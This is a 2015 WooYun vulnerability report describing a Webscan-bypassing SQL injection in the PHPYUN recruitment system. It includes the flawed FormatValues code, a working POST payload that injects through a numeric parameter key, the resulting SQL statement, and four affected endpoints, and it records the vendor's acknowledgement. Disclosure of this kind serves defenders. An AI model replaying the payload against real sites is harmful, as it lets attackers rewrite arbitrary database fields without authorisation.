当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135603

漏洞标题:PHPYUN最新版Webscan绕过注入四处(可修改任意字段值)

相关厂商:php云人才系统

漏洞作者: menmen519

提交时间:2015-08-25 17:21

修复时间:2015-11-23 17:46

公开时间:2015-11-23 17:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-25: 细节已通知厂商并且等待厂商处理中
2015-08-25: 厂商已经确认,细节仅向厂商公开
2015-08-28: 细节向第三方安全合作伙伴开放
2015-10-19: 细节向核心白帽子及相关领域专家公开
2015-10-29: 细节向普通白帽子公开
2015-11-08: 细节向实习白帽子公开
2015-11-23: 细节向公众公开

简要描述:

PHPYUN最新版Webscan绕过注入四处(可修改任意字段值)

详细说明:

漏洞参考:
WooYun: PHPYUN最新版Webscan绕过注入四处(可遍历全站信息,无需登录)
看看 站点是怎么修补的:

function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(preg_match("/^[a-zA-Z0-9_]+$/",$k))
{
if(preg_match('/^[0-9]+$/', $k)){
$ValuesStr.=','.$v;
}else{

$ValuesStr.=',`'.$k.'`=\''.$v.'\'';

}
}
}
return substr($ValuesStr,1);
}


修补方案就是,设计缺陷为:
1.preg_match("/^[a-zA-Z0-9_]+$/",$k) 让这个成立
2. if(preg_match('/^[0-9]+$/', $k)){
$ValuesStr.=','.$v;
当key 为纯数字组成的时候,直接连接后面的值 这个就存在很大的风险了
发布一个微简历

1.png


我的简历密码是admin
然后记住这个id

2.png


访问url:
http://localhost/phpyun/tiny/index.php?admin_dir=admin
postdata:
username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&123455=`qq`%3d@@VERSION where `id`=1%23&password=admin&authcode=ag31&id=1&submit=%B7%A2%B2%BC
抓取的sql语句为:
UPDATE `phpyun_resume_tiny` SET `username`='test123',`sex`='7',`exp`='18',`job`='ccc',`mobile`='15802991419',`qq`='11111111',`qq`=@@VERSION where `id`=1#,`status`='1',`login_ip`='',`time`='1440051620' WHERE 1 and `id`='1'
查看这个简历:

3.png


其他漏洞点原理一模一样,都可以修改任意字段
1.http://localhost/phpyun40/upload/tiny/index.php?admin_dir=admin
2.http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfo
3.http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
4.http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
原理参考最上面的链接就好

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-25 17:44

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无